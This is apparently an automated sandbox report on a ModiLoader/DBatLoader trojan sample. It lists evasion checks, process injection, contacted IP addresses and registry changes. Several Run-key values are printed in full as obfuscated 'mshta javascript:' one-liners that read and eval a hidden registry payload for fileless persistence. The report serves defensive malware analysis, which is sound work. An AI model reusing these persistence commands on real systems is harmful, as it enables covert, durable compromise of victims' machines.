Malware Analysis Report

2024-10-23 19:35

Sample ID 240505-kpwryafh95
Target 16e3029222864030e68ddeca0687882d_JaffaCakes118
SHA256 e2862099ecb4e6a3e51f07e1d1811cf8dd4903c33f9bd3be86587fb52ba01766
Tags
modiloader evasion persistence trojan
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

e2862099ecb4e6a3e51f07e1d1811cf8dd4903c33f9bd3be86587fb52ba01766

Threat Level: Known bad

The file 16e3029222864030e68ddeca0687882d_JaffaCakes118 was found to be: Known bad.

Malicious Activity Summary

modiloader evasion persistence trojan

ModiLoader, DBatLoader

Looks for VirtualBox Guest Additions in registry

ModiLoader Second Stage

Checks for common network interception software

Adds policy Run key to start application

Looks for VMWare Tools registry key

Deletes itself

Checks BIOS information in registry

Adds Run key to start application

Maps connected drives based on registry

Unsigned PE

Suspicious behavior: MapViewOfSection

Suspicious behavior: EnumeratesProcesses

Suspicious use of WriteProcessMemory

Modifies Internet Explorer settings

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-05-05 08:47

Signatures

Unsigned PE

Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-05-05 08:47

Reported

2024-05-05 08:49

Platform

win7-20240221-en

Max time kernel

150s

Max time network

154s

Command Line

"C:\Users\Admin\AppData\Local\Temp\16e3029222864030e68ddeca0687882d_JaffaCakes118.exe"

Signatures

ModiLoader, DBatLoader

trojan modiloader

Checks for common network interception software

evasion

Looks for VirtualBox Guest Additions in registry

evasion
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Oracle\VirtualBox Guest Additions C:\Windows\SysWOW64\regsvr32.exe N/A

ModiLoader Second Stage

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Adds policy Run key to start application

persistence
Description Indicator Process Target
Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\ = "mshta javascript:FBjtW9dW8=\"5ymE5\";Nb04=new%20ActiveXObject(\"WScript.Shell\");E25ToIpQ=\"RSA7P\";Aa9Vd0=Nb04.RegRead(\"HKLM\\\\software\\\\Wow6432Node\\\\9e4ab122db\\\\a90a5c2c\");Z6AGsNOF=\"26tKD\";eval(Aa9Vd0);T3uiZo5qrf=\"cY01dpStUS\";" C:\Windows\SysWOW64\regsvr32.exe N/A

Looks for VMWare Tools registry key

evasion
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\VMware, Inc.\VMware Tools C:\Windows\SysWOW64\regsvr32.exe N/A

Checks BIOS information in registry

Description Indicator Process Target
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Windows\SysWOW64\regsvr32.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Windows\SysWOW64\regsvr32.exe N/A

Deletes itself

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A

Adds Run key to start application

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\ = "mshta javascript:Q2I0zRjHs=\"4\";k1x=new%20ActiveXObject(\"WScript.Shell\");KHKpdz1=\"g\";JNgu02=k1x.RegRead(\"HKLM\\\\software\\\\Wow6432Node\\\\9e4ab122db\\\\a90a5c2c\");a0ybd5rc=\"kF\";eval(JNgu02);YB9IcHr8=\"DnHX9wC\";" C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000\Software\Microsoft\Windows\CurrentVersion\Run\ = "mshta javascript:HVR2YXF=\"jFVL\";Ki00=new%20ActiveXObject(\"WScript.Shell\");K3pZzMRV=\"9\";Sy7ij=Ki00.RegRead(\"HKCU\\\\software\\\\9e4ab122db\\\\a90a5c2c\");wH2OkYAll=\"ii4Iz\";eval(Sy7ij);jmx9LzQ=\"OJwyhM\";" C:\Windows\SysWOW64\regsvr32.exe N/A

Maps connected drives based on registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum C:\Windows\SysWOW64\regsvr32.exe N/A
Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\Disk\Enum\0 C:\Windows\SysWOW64\regsvr32.exe N/A

Modifies Internet Explorer settings

adware spyware
Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (int) \REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\regsvr32.exe = "0" C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (int) \REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\iexplore.exe = "0" C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN\FeatureControl\FEATURE_BROWSER_EMULATION\regsvr32.exe = "0" C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN\FeatureControl\FEATURE_BROWSER_EMULATION\iexplore.exe = "0" C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000\Software\Microsoft\Internet Explorer\International C:\Windows\SysWOW64\regsvr32.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2172 wrote to memory of 2896 N/A C:\Users\Admin\AppData\Local\Temp\16e3029222864030e68ddeca0687882d_JaffaCakes118.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2172 wrote to memory of 2896 N/A C:\Users\Admin\AppData\Local\Temp\16e3029222864030e68ddeca0687882d_JaffaCakes118.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2172 wrote to memory of 2896 N/A C:\Users\Admin\AppData\Local\Temp\16e3029222864030e68ddeca0687882d_JaffaCakes118.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2172 wrote to memory of 2896 N/A C:\Users\Admin\AppData\Local\Temp\16e3029222864030e68ddeca0687882d_JaffaCakes118.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2172 wrote to memory of 2896 N/A C:\Users\Admin\AppData\Local\Temp\16e3029222864030e68ddeca0687882d_JaffaCakes118.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2172 wrote to memory of 2896 N/A C:\Users\Admin\AppData\Local\Temp\16e3029222864030e68ddeca0687882d_JaffaCakes118.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2172 wrote to memory of 2896 N/A C:\Users\Admin\AppData\Local\Temp\16e3029222864030e68ddeca0687882d_JaffaCakes118.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2896 wrote to memory of 2576 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2896 wrote to memory of 2576 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2896 wrote to memory of 2576 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2896 wrote to memory of 2576 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2896 wrote to memory of 2576 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2896 wrote to memory of 2576 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2896 wrote to memory of 2576 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2576 wrote to memory of 2408 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2576 wrote to memory of 2408 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2576 wrote to memory of 2408 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2576 wrote to memory of 2408 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2576 wrote to memory of 2408 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2576 wrote to memory of 2408 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2576 wrote to memory of 2408 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2576 wrote to memory of 576 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2576 wrote to memory of 576 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2576 wrote to memory of 576 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2576 wrote to memory of 576 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2576 wrote to memory of 576 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2576 wrote to memory of 576 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2576 wrote to memory of 576 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe

Processes

C:\Users\Admin\AppData\Local\Temp\16e3029222864030e68ddeca0687882d_JaffaCakes118.exe

"C:\Users\Admin\AppData\Local\Temp\16e3029222864030e68ddeca0687882d_JaffaCakes118.exe"

C:\Windows\SysWOW64\regsvr32.exe

regsvr32.exe

C:\Windows\SysWOW64\regsvr32.exe

regsvr32.exe

C:\Windows\SysWOW64\regsvr32.exe

"C:\Windows\SysWOW64\regsvr32.exe"

C:\Windows\SysWOW64\regsvr32.exe

"C:\Windows\SysWOW64\regsvr32.exe"

Network

Country Destination Domain Proto
US 147.75.10.108:80 tcp
US 44.114.173.155:8080 tcp
US 28.102.29.204:80 tcp
CH 57.37.96.245:80 tcp
US 4.77.240.34:80 tcp
US 12.97.42.97:80 tcp
US 67.184.241.51:80 tcp
US 30.237.141.186:80 tcp
US 19.37.242.86:80 tcp
US 168.102.167.47:80 tcp
US 32.164.15.28:80 tcp
KR 14.40.67.208:443 tcp
IE 15.177.32.243:80 tcp
CN 120.228.189.99:80 tcp
US 11.28.173.182:80 tcp
CN 42.179.133.7:80 tcp
US 209.92.236.127:80 tcp
FR 82.231.223.194:80 tcp
GB 139.166.37.86:80 tcp
IT 213.82.179.54:80 tcp
US 23.18.27.133:80 tcp
US 204.17.191.92:8080 tcp
US 98.42.59.250:80 tcp
JP 121.113.154.202:80 tcp
JP 153.127.16.228:80 tcp
RU 80.70.232.187:80 tcp
US 136.4.225.28:80 tcp
JP 153.127.16.228:80 153.127.16.228 tcp
DE 212.255.123.164:80 tcp
US 165.161.104.140:80 tcp
CA 38.128.224.122:80 tcp
US 166.212.13.78:8080 tcp
DE 88.99.145.176:8080 tcp
CN 113.208.225.146:80 tcp
US 3.52.186.249:80 tcp
US 12.227.246.71:8080 tcp
US 56.53.49.185:80 tcp
US 131.179.69.40:80 tcp
JP 211.12.120.229:80 tcp
BR 179.84.58.199:80 tcp
GB 25.99.204.186:80 tcp
US 107.210.57.82:80 tcp
CN 222.50.232.87:80 tcp
US 34.220.49.127:80 tcp
JP 133.222.171.205:80 tcp
US 131.88.105.27:80 tcp
US 16.17.164.200:80 tcp
CN 116.174.77.198:80 tcp
US 75.162.85.48:80 tcp
ID 110.137.180.241:80 tcp
KZ 89.219.15.160:80 tcp
SE 37.199.100.173:80 tcp
US 26.97.83.24:80 tcp
US 174.120.19.8:80 tcp
US 100.22.128.104:80 tcp
US 166.33.69.173:80 tcp
US 70.137.242.56:80 tcp
CN 120.210.226.14:80 tcp
US 56.93.250.135:80 tcp
CN 39.75.134.87:80 tcp
US 134.146.207.161:80 tcp
AU 58.172.109.108:80 tcp
IT 212.124.176.97:443 tcp
CN 43.151.220.93:80 tcp
GB 80.1.247.31:80 tcp
US 140.199.180.94:80 tcp
US 63.118.21.151:443 tcp
AR 190.16.24.33:8080 tcp
BR 179.226.33.3:80 tcp
US 21.157.20.178:80 tcp
US 216.44.33.58:80 tcp
CN 223.64.66.201:80 tcp
SG 43.10.90.245:80 tcp
KR 110.8.31.158:80 tcp
US 9.219.65.157:80 tcp
VN 14.231.21.41:80 tcp
PL 89.161.33.132:80 tcp
US 128.23.93.192:80 tcp
US 140.50.195.104:80 tcp
US 205.196.7.223:80 tcp
IE 159.134.99.157:443 tcp
IT 109.55.187.159:80 tcp
US 21.82.62.87:80 tcp
SE 213.80.43.109:80 tcp
DE 145.225.255.161:8080 tcp
AU 61.249.190.211:80 tcp
CN 113.122.31.154:80 tcp
US 209.211.83.217:443 tcp
US 15.134.99.178:80 tcp
CN 60.184.92.184:80 tcp
JP 61.86.136.163:80 tcp
IT 151.39.57.24:80 tcp
US 22.135.179.72:80 tcp
JP 153.127.16.228:80 153.127.16.228 tcp
US 132.35.219.175:443 tcp
KR 49.8.168.255:8080 tcp
US 99.179.240.86:80 tcp
US 161.249.32.243:80 tcp
US 15.70.25.195:80 tcp
CA 204.244.151.130:80 tcp
US 207.72.249.225:80 tcp
CN 218.77.105.113:80 tcp
JP 133.251.218.57:80 tcp
EG 41.153.7.233:80 tcp
US 154.25.227.100:443 tcp
US 19.186.165.93:80 tcp
DE 95.157.6.150:80 tcp
US 50.105.215.204:8080 tcp
US 32.27.72.102:80 tcp
KR 42.31.136.86:80 tcp
NL 194.53.173.129:80 tcp
BR 191.40.67.202:80 tcp
JP 180.41.1.191:80 tcp
US 32.135.128.50:80 tcp
JP 126.184.75.123:80 tcp
CN 49.233.185.97:8080 tcp
US 38.142.126.161:80 tcp
CN 116.4.200.207:8080 tcp
US 48.18.170.21:80 tcp
US 9.93.76.98:80 tcp
US 171.156.15.66:80 tcp
CN 221.204.161.229:80 tcp
US 33.148.106.255:8080 tcp
US 18.105.149.16:80 tcp
CA 142.206.134.5:80 tcp
CO 201.216.50.185:80 tcp
EC 186.43.247.119:80 tcp
GB 86.191.170.214:80 tcp
NG 41.184.86.91:80 tcp
US 159.249.23.169:80 tcp
US 22.186.99.128:80 tcp
KR 223.55.240.1:80 tcp
KR 169.220.199.253:80 tcp
NZ 49.224.180.235:443 tcp
NZ 122.58.6.3:8080 tcp
US 28.95.221.118:80 tcp
US 26.19.236.199:80 tcp
US 98.122.197.207:80 tcp
CR 201.192.220.36:80 tcp
TR 45.144.152.46:80 tcp
US 67.202.50.207:80 tcp
GB 86.161.74.78:80 tcp
MY 123.136.99.142:8080 tcp
VN 115.79.164.55:80 tcp
IT 151.4.6.196:80 tcp
US 32.160.141.5:80 tcp
FR 160.103.199.155:80 tcp
HU 195.111.225.142:80 tcp
GB 92.14.44.131:80 tcp
US 148.93.171.52:8080 tcp
US 169.244.60.95:80 tcp
NL 77.62.6.87:80 tcp
CN 112.132.60.240:80 tcp
US 132.20.165.157:80 tcp
US 214.119.77.2:443 tcp
DE 164.33.174.239:80 tcp
JP 153.127.16.228:80 153.127.16.228 tcp
JP 219.102.232.196:80 tcp
US 44.54.14.238:80 tcp
CN 119.1.22.35:80 tcp
BR 191.164.59.54:80 tcp
JP 126.222.187.167:80 tcp
CN 103.108.210.238:8080 tcp
US 52.190.80.38:80 tcp
US 173.51.75.83:80 tcp
IE 34.248.187.74:80 tcp
DZ 197.202.173.162:8080 tcp
CN 116.21.198.120:80 tcp
US 44.175.2.215:80 tcp
DE 91.34.179.148:80 tcp
KE 105.165.166.68:80 tcp
US 147.104.196.89:80 tcp
N/A 127.38.99.86:80 tcp
US 174.179.84.212:80 tcp
US 129.161.58.159:80 tcp
KR 175.248.194.199:80 tcp
HK 192.253.235.120:80 tcp
CA 159.33.217.46:80 tcp
US 64.16.82.33:80 tcp
BR 187.92.119.92:80 tcp
TW 124.218.253.253:80 tcp
US 28.155.167.251:80 tcp
US 214.133.73.250:80 tcp
MY 118.100.83.242:80 tcp
FR 90.17.253.106:80 tcp
US 4.57.150.135:80 tcp
US 173.204.111.217:80 tcp
LK 175.157.6.231:80 tcp
N/A 183.96.207.24:80 tcp
N/A 148.83.61.63:80 tcp

Files

memory/2172-0-0x00000000027B0000-0x0000000002B00000-memory.dmp

memory/2172-1-0x0000000000340000-0x0000000000341000-memory.dmp

memory/2172-2-0x0000000000400000-0x000000000048E000-memory.dmp

memory/2172-7-0x0000000000050000-0x000000000011C000-memory.dmp

memory/2172-8-0x0000000000050000-0x000000000011C000-memory.dmp

memory/2172-6-0x0000000000050000-0x000000000011C000-memory.dmp

memory/2172-5-0x0000000000050000-0x000000000011C000-memory.dmp

memory/2172-4-0x0000000000050000-0x000000000011C000-memory.dmp

memory/2172-10-0x0000000000050000-0x000000000011C000-memory.dmp

memory/2896-16-0x0000000000BB0000-0x0000000000BB7000-memory.dmp

memory/2172-15-0x0000000000400000-0x000000000048E000-memory.dmp

memory/2896-18-0x0000000000BB0000-0x0000000000BB7000-memory.dmp

memory/2896-21-0x0000000000170000-0x000000000023C000-memory.dmp

memory/2896-23-0x0000000000170000-0x000000000023C000-memory.dmp

memory/2896-19-0x0000000000170000-0x000000000023C000-memory.dmp

memory/2896-20-0x0000000000170000-0x000000000023C000-memory.dmp

memory/2896-22-0x0000000000170000-0x000000000023C000-memory.dmp

memory/2896-25-0x0000000000170000-0x000000000023C000-memory.dmp

memory/2576-29-0x0000000000BB0000-0x0000000000BB7000-memory.dmp

memory/2576-31-0x0000000000BB0000-0x0000000000BB7000-memory.dmp

memory/2576-33-0x0000000000230000-0x00000000002FC000-memory.dmp

memory/2576-36-0x0000000000230000-0x00000000002FC000-memory.dmp

memory/2576-35-0x0000000000230000-0x00000000002FC000-memory.dmp

memory/2576-34-0x0000000000230000-0x00000000002FC000-memory.dmp

memory/2576-37-0x0000000000230000-0x00000000002FC000-memory.dmp

memory/2576-32-0x0000000000230000-0x00000000002FC000-memory.dmp

memory/2576-40-0x0000000000230000-0x00000000002FC000-memory.dmp

memory/2576-43-0x0000000000230000-0x00000000002FC000-memory.dmp

memory/2576-46-0x0000000000230000-0x00000000002FC000-memory.dmp

memory/2576-47-0x0000000000230000-0x00000000002FC000-memory.dmp

memory/2576-45-0x0000000000230000-0x00000000002FC000-memory.dmp

memory/2576-44-0x0000000000230000-0x00000000002FC000-memory.dmp

memory/2576-48-0x0000000000230000-0x00000000002FC000-memory.dmp

memory/2576-42-0x0000000000230000-0x00000000002FC000-memory.dmp

memory/2576-41-0x0000000000230000-0x00000000002FC000-memory.dmp

memory/2408-49-0x0000000000BB0000-0x0000000000BB7000-memory.dmp

memory/2408-51-0x0000000000BB0000-0x0000000000BB7000-memory.dmp

memory/2408-55-0x00000000000D0000-0x000000000019C000-memory.dmp

memory/2408-57-0x00000000000D0000-0x000000000019C000-memory.dmp

memory/2408-54-0x00000000000D0000-0x000000000019C000-memory.dmp

memory/2408-52-0x00000000000D0000-0x000000000019C000-memory.dmp

memory/2408-56-0x00000000000D0000-0x000000000019C000-memory.dmp

memory/2408-53-0x00000000000D0000-0x000000000019C000-memory.dmp

memory/2576-58-0x0000000000230000-0x00000000002FC000-memory.dmp

memory/2576-59-0x0000000000230000-0x00000000002FC000-memory.dmp

memory/576-60-0x0000000000BB0000-0x0000000000BB7000-memory.dmp

memory/576-62-0x0000000000BB0000-0x0000000000BB7000-memory.dmp

memory/576-66-0x0000000000090000-0x000000000015C000-memory.dmp

memory/576-67-0x0000000000090000-0x000000000015C000-memory.dmp

memory/576-64-0x0000000000090000-0x000000000015C000-memory.dmp

memory/576-65-0x0000000000090000-0x000000000015C000-memory.dmp

memory/576-63-0x0000000000090000-0x000000000015C000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-05-05 08:47

Reported

2024-05-05 08:49

Platform

win10v2004-20240419-en

Max time kernel

150s

Max time network

150s

Command Line

"C:\Users\Admin\AppData\Local\Temp\16e3029222864030e68ddeca0687882d_JaffaCakes118.exe"

Signatures

ModiLoader, DBatLoader

trojan modiloader

Checks for common network interception software

evasion

Looks for VirtualBox Guest Additions in registry

evasion
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Oracle\VirtualBox Guest Additions C:\Windows\SysWOW64\regsvr32.exe N/A

ModiLoader Second Stage

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Adds policy Run key to start application

persistence
Description Indicator Process Target
Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\ = "mshta javascript:uI1J3LpIk=\"uNbQq9\";w67k=new%20ActiveXObject(\"WScript.Shell\");YYxY9yQ=\"HC\";bqyv4=w67k.RegRead(\"HKLM\\\\software\\\\Wow6432Node\\\\445f9b850c\\\\f71cd2f3\");SlLjjs98A=\"CqoFHn\";eval(bqyv4);XleSoH4=\"biw1e4i\";" C:\Windows\SysWOW64\regsvr32.exe N/A

Looks for VMWare Tools registry key

evasion
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\VMware, Inc.\VMware Tools C:\Windows\SysWOW64\regsvr32.exe N/A

Checks BIOS information in registry

Description Indicator Process Target
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Windows\SysWOW64\regsvr32.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Windows\SysWOW64\regsvr32.exe N/A

Deletes itself

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A

Adds Run key to start application

persistence
Description Indicator Process Target
